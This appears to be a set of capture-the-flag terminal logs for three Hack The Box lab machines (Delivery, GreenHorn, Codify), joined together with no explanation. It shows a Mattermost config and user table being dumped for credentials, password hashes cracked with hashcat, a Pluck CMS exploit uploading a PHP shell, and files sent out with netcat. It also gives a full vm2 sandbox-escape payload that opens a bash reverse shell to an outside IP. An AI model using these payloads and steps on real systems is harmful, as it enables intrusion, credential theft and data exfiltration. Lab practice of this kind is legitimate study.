maildeliverer@Delivery:~$ ls -l /opt/mattermost/
total 280
drwxrwxr-x 2 mattermost mattermost 4096 Dec 18 2020 bin
drwxrwxr-x 7 mattermost mattermost 4096 Dec 26 2020 client
drwxrwxr-x 2 mattermost mattermost 4096 Dec 26 2020 config
drwxrwxr-x 3 mattermost mattermost 4096 Jan 17 08:03 data
-rw-rw-r-- 1 mattermost mattermost 2052 Dec 18 2020 ENTERPRISE-EDITION-LICENSE.txt
drwxrwxr-x 2 mattermost mattermost 4096 Dec 18 2020 fonts
drwxrwxr-x 2 mattermost mattermost 4096 Dec 18 2020 i18n
drwxrwxr-x 2 mattermost mattermost 4096 Dec 26 2020 logs
-rw-rw-r-- 1 mattermost mattermost 898 Dec 18 2020 manifest.txt
-rw-rw-r-- 1 mattermost mattermost 229264 Dec 18 2020 NOTICE.txt
drwxr--r-- 5 mattermost mattermost 4096 Jan 17 08:08 plugins
drwxrwxr-x 2 mattermost mattermost 4096 Dec 18 2020 prepackaged_plugins
-rw-rw-r-- 1 mattermost mattermost 6262 Dec 18 2020 README.md
drwxrwxr-x 2 mattermost mattermost 4096 Dec 18 2020 templates
maildeliverer@Delivery:~$ ls -l /opt/mattermost/config/
total 28
-rw-rw-r-- 1 mattermost mattermost 922 Dec 18 2020 cloud_defaults.json
-rw-rw-r-- 1 mattermost mattermost 18774 Jan 17 08:03 config.json
-rw-rw-r-- 1 mattermost mattermost 243 Dec 18 2020 README.mdmaildeliverer@Delivery:~$ cat /opt/mattermost/config/config.json
{
..[snip]...
"SqlSettings": {
"DriverName": "mysql",
"DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
"DataSourceReplicas": [],
"DataSourceSearchReplicas": [],
"MaxIdleConns": 20,
"ConnMaxLifetimeMilliseconds": 3600000,
"MaxOpenConns": 300,
"Trace": false,
"AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
"QueryTimeout": 30,
"DisableDatabaseSearch": false
},
...[snip]...maildeliverer@Delivery:~$ mysql -u mmuser -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 82
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mattermost |
+--------------------+
2 rows in set (0.001 sec)MariaDB [(none)]> SHOW TABLES FROM mattermost;
+------------------------+
| Tables_in_mattermost |
+------------------------+
...[snip]...
| UserAccessTokens |
| UserGroups |
| UserTermsOfService |
| Users |
+------------------------+
46 rows in set (0.001 sec)MariaDB [(none)]> USE mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mattermost]> SELECT * FROM Users;
+----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+------------------------------------------------------------------------------------------+-----------+-----------+
| Id | CreateAt | UpdateAt | DeleteAt | Username | Password | AuthData | AuthService | Email | EmailVerified | Nickname | FirstName | LastName | Position | Roles | AllowMarketing | Props | NotifyProps | LastPasswordUpdate | LastPictureUpdate | FailedAttempts | Locale | Timezone | MfaActive | MfaSecret |
+----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+------------------------------------------------------------------------------------------+-----------+-----------+
| 64nq8nue7pyhpgwm99a949mwya | 1608992663714 | 1608992663731 | 0 | surveybot | | NULL | | surveybot@localhost | 0 | | Surveybot | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1608992663714 | 1608992663731 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | |
| 6akd5cxuhfgrbny81nj55au4za | 1609844799823 | 1609844799823 | 0 | c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK | NULL | | 4120849@delivery.htb | 0 | | | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609844799823 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | |
| 6wkx1ggn63r7f8q1hpzp7t4iiy | 1609844806814 | 1609844806814 | 0 | 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G | NULL | | 7466068@delivery.htb | 0 | | | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609844806814 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | |
| cj8m1hn78fbrxbupgmk3s77s6c | 1737119334484 | 1737119438613 | 0 | gzzcoo | $2a$10$12WXI457/dONWeqbvwAbdeyWP6MYKeofS/SFEfPYIaF13/BXfbvw. | NULL | | 3523891@delivery.htb | 1 | | | | | system_user | 1 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1737119334484 | 0 | 0 | en | {"automaticTimezone":"Europe/Madrid","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | |
| dijg7mcf4tf3xrgxi5ntqdefma | 1608992692294 | 1609157893370 | 0 | root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | NULL | | root@delivery.htb | 1 | | | | | system_admin system_user | 1 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609157893370 | 0 | 0 | en | {"automaticTimezone":"Africa/Abidjan","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | |
| hatotzdacb8mbe95hm4ei8i7ny | 1609844805777 | 1609844805777 | 0 | ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq | NULL | | 9122359@delivery.htb | 0 | | | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609844805777 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | |
| jing8rk6mjdbudcidw6wz94rdy | 1608992663664 | 1608992663664 | 0 | channelexport | | NULL | | channelexport@localhost | 0 | | Channel Export Bot | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1608992663664 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | |
| n9magehhzincig4mm97xyft9sc | 1609844789048 | 1609844800818 | 0 | 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm | NULL | | 5056505@delivery.htb | 1 | | | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609844789048 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | |
+----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+------------------------------------------------------------------------------------------+-----------+-----------+
8 rows in set (0.000 sec)❯ catnp hashes
root:$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO
❯ catnp password
PleaseSubscribe!
❯ hashcat -m 3200 hashes password --user -r /usr/share/hashcat/rules/best64.rule
hashcat (v6.2.6) starting
...[snip]...
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
...[snip]...maildeliverer@Delivery:~$ su root
Password:
root@Delivery:/home/maildeliverer# cat /root/root.txt
9479a4a3eb4b7*****************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.25 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-16 16:46 CET
Nmap scan report for 10.10.11.25
Host is up (0.080s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 30.74 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.25
[*] Open ports: 22,80,3000
[*] Ports copied to clipboard❯ nmap -sCV -p22,80,3000 10.10.11.25 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-16 16:47 CET
Nmap scan report for 10.10.11.25
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open http Golang net/http server
|_http-title: GreenHorn
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=fcf888ccd94405c1; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=fbrKm2gVazDCt8Ur9XirZxSK1b46MTczNzA0MjY0MzkxNTk1MDQ3Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 16 Jan 2025 15:50:43 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=f724ac136d83d552; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=163xxrp2hrq83r8kbTEoZhiO1pk6MTczNzA0MjY0NDc0MTU5MDgyNw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 16 Jan 2025 15:50:44 GMT
|_ Content-Length: 0
...[snip]...
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 138.67 ms 10.10.16.1
2 138.70 ms 10.10.11.25
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.47 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep greenhorn.htb
10.10.11.25 greenhorn.htb❯ whatweb http://greenhorn.htb
http://greenhorn.htb [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], RedirectLocation[http://greenhorn.htb/?file=welcome-to-greenhorn], nginx[1.18.0]
http://greenhorn.htb/?file=welcome-to-greenhorn [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], MetaGenerator[pluck 4.7.18], Pluck-CMS[4.7.18], Title[Welcome to GreenHorn ! - GreenHorn], nginx[1.18.0]❯ dirsearch -u http://greenhorn.htb 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/GreenHorn/GreenHorn/content/reports/http_greenhorn.htb/_25-01-16_16-55-33.txt
Target: http://greenhorn.htb/
[16:55:33] Starting:
[16:55:35] 200 - 93B - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
[16:55:35] 200 - 93B - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
[16:55:36] 404 - 564B - /.css
[16:55:37] 404 - 564B - /.gif
[16:55:37] 404 - 564B - /.ico
[16:55:38] 404 - 564B - /.jpg
[16:55:38] 404 - 564B - /.jpeg
...[snip]...❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.greenhorn.htb" http://greenhorn.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://greenhorn.htb/
Total requests: 220545
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 302 7 L 10 W 154 Ch "index"
000000046: 302 7 L 10 W 154 Ch "03"
000000003: 302 7 L 10 W 154 Ch "download"
000000006: 302 7 L 10 W 154 Ch "crack"
000000025: 302 7 L 10 W 154 Ch "img"
000000005: 302 7 L 10 W 154 Ch "news"
...[snip]... ❯ wfuzz -c --hc=404 --hh=154 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.greenhorn.htb" http://greenhorn.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://greenhorn.htb/
Total requests: 220545
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 289.2563
Processed Requests: 220545
Filtered Requests: 220545
Requests/sec.: 762.4551❯ gobuster dir -u http://greenhorn.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php -b 404,302
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://greenhorn.htb/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,302
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 1242]
/images (Status: 301) [Size: 178] [--> http://greenhorn.htb/images/]
/docs (Status: 301) [Size: 178] [--> http://greenhorn.htb/docs/]
/files (Status: 301) [Size: 178] [--> http://greenhorn.htb/files/]
/data (Status: 301) [Size: 178] [--> http://greenhorn.htb/data/]
/admin.php (Status: 200) [Size: 4026]
/install.php (Status: 200) [Size: 4035]
/requirements.php (Status: 200) [Size: 4047]
...[snip]...❯ whatweb http://greenhorn.htb:3000
http://greenhorn.htb:3000 [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.25], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[GreenHorn], X-Frame-Options[SAMEORIGIN]❯ hashid d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163
Analyzing 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163'
[+] SHA-512
[+] Whirlpool
[+] Salsa10
[+] Salsa20
[+] SHA3-512
[+] Skein-512
[+] Skein-1024(512)
❯ hashcat -a 0 -m 1700 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...[snip]...
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1
...[snip]...❯ git clone https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC.git; cd CVE-2023-50564_Pluck-v4.7.18_PoC
Clonando en 'CVE-2023-50564_Pluck-v4.7.18_PoC'...
remote: Enumerating objects: 28, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (28/28), done.
remote: Total 28 (delta 11), reused 3 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (28/28), 12.71 KiB | 591.00 KiB/s, listo.
Resolviendo deltas: 100% (11/11), listo.❯ nc -nlvp 443
listening on [any] 443 ...❯ zip payload.zip shell.php
updating: shell.php (deflated 72%)
❯ ls -l
.rw-rw-r-- kali kali 1.0 KB Thu Jan 16 17:43:32 2025 LICENSE
.rw-rw-r-- kali kali 2.7 KB Thu Jan 16 18:01:09 2025 payload.zip
.rwxrwxr-x kali kali 1.6 KB Thu Jan 16 17:48:32 2025 poc.py
.rw-rw-r-- kali kali 1.8 KB Thu Jan 16 17:43:32 2025 README.md
.rw-rw-r-- kali kali 9.3 KB Thu Jan 16 17:57:11 2025 shell.php
❯ pwd
/HackTheBox/Linux/GreenHorn/content/CVE-2023-50564_Pluck-v4.7.18_PoC
❯ python poc.py
ZIP file path: /HackTheBox/Linux/GreenHorn/content/CVE-2023-50564_Pluck-v4.7.18_PoC/payload.zip
Login successful
ZIP file uploaded successfully.❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.25] 50182
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
17:08:42 up 1:24, 0 users, load average: 0.10, 0.24, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1097): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:/$www-data@greenhorn:/$ su junior
Password:
junior@greenhorn:/t$ whoami
junior
junior@greenhorn:~$ cat user.txt
0f37429764508b275b**************❯ nc -nlvp 443 > UsingOpenVAS.pdf
listening on [any] 443 ...junior@greenhorn:~$ ls
user.txt 'Using OpenVAS.pdf'
junior@greenhorn:~$ nc -w 3 10.10.16.5 443 < 'Using OpenVAS.pdf'❯ nc -nlvp 443 > UsingOpenVAS.pdf
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.25] 59936
❯ ls -l UsingOpenVAS.pdf
.rw-rw-r-- kali kali 60 KB Thu Jan 16 18:40:23 2025 UsingOpenVAS.pdf❯ pdfimages UsingOpenVAS.pdf greenhorn
❯ ls -l greenhorn-000.ppm
.rw-rw-r-- kali kali 18 KB Thu Jan 16 19:54:34 2025 greenhorn-000.ppm
❯ python3 /opt/Depix/depix.py -p greenhorn-000.ppm -s /opt/Depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o result.png
2025-01-16 19:55:11,676 - Loading pixelated image from greenhorn-000.ppm
2025-01-16 19:55:11,689 - Loading search image from /opt/Depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2025-01-16 19:55:12,421 - Finding color rectangles from pixelated space
2025-01-16 19:55:12,422 - Found 252 same color rectangles
2025-01-16 19:55:12,422 - 190 rectangles left after moot filter
2025-01-16 19:55:12,422 - Found 1 different rectangle sizes
2025-01-16 19:55:12,422 - Finding matches in search image
2025-01-16 19:55:12,423 - Scanning 190 blocks with size (5, 5)
2025-01-16 19:55:12,462 - Scanning in searchImage: 0/1674
2025-01-16 19:56:08,709 - Removing blocks with no matches
2025-01-16 19:56:08,709 - Splitting single matches and multiple matches
2025-01-16 19:56:08,717 - [16 straight matches | 174 multiple matches]
2025-01-16 19:56:08,717 - Trying geometrical matches on single-match squares
2025-01-16 19:56:09,142 - [29 straight matches | 161 multiple matches]
2025-01-16 19:56:09,142 - Trying another pass on geometrical matches
2025-01-16 19:56:09,464 - [41 straight matches | 149 multiple matches]
2025-01-16 19:56:09,464 - Writing single match results to output
2025-01-16 19:56:09,465 - Writing average results for multiple matches to output
2025-01-16 19:56:12,477 - Saving output image to: result.pngjunior@greenhorn:~$ su root
Password:
root@greenhorn:/home/junior$ cat /root/root.txt
ce732e9607f7f20b****************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.239 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 17:40 CET
Initiating SYN Stealth Scan at 17:40
Scanning 10.10.11.239 [65535 ports]
Discovered open port 80/tcp on 10.10.11.239
Discovered open port 22/tcp on 10.10.11.239
Discovered open port 3000/tcp on 10.10.11.239
Completed SYN Stealth Scan at 17:40, 17.95s elapsed (65535 total ports)
Nmap scan report for 10.10.11.239
Host is up, received user-set (0.18s latency).
Scanned at 2025-02-14 17:40:41 CET for 17s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
3000/tcp open ppp syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.04 seconds
Raw packets sent: 67123 (2.953MB) | Rcvd: 67133 (2.686MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.239
[*] Open ports: 22,80,3000
[*] Ports copied to clipboard❯ nmap -sCV -p22,80,3000 10.10.11.239 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 17:42 CET
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Codify
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 112.21 ms 10.10.16.1
2 44.32 ms codify.htb (10.10.11.239)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.85 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep codify
10.10.11.239 codify.htb❯ dirsearch -u 'http://codify.htb' -t 50 -i 200 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Codify/Codify/reports/http_codify.htb/_25-02-14_17-47-17.txt
Target: http://codify.htb/
[17:47:17] Starting:
[17:47:26] 200 - 1KB - /about
[17:47:26] 200 - 1KB - /About
[17:47:49] 200 - 1KB - /editor/
[17:47:49] 200 - 1KB - /editor
Task Completedconst {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('echo /usr/bin/id');
}
`
console.log(vm.run(code));❯ nc -nlvp 443
listening on [any] 443 ...const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('/bin/bash -c "bash -i >& /dev/tcp/10.10.16.7/443 0>&1"');
}
`
console.log(vm.run(code));❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.239] 35090
bash: cannot set terminal process group (1260): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$ sudo -l
[sudo] password for svc:
sudo: a password is required
svc@codify:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bashsvc@codify:/var/www/contact$ strings tickets.db
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open❯ hashcat -a 0 -m 3200 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1❯ ssh joshua@codify.htb
joshua@codify.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
Last login: Wed Mar 27 13:01:24 2024 from 10.10.14.23
joshua@codify:~$ cat user.txt
745818a77e7*********************joshua@codify:~$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.shjoshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
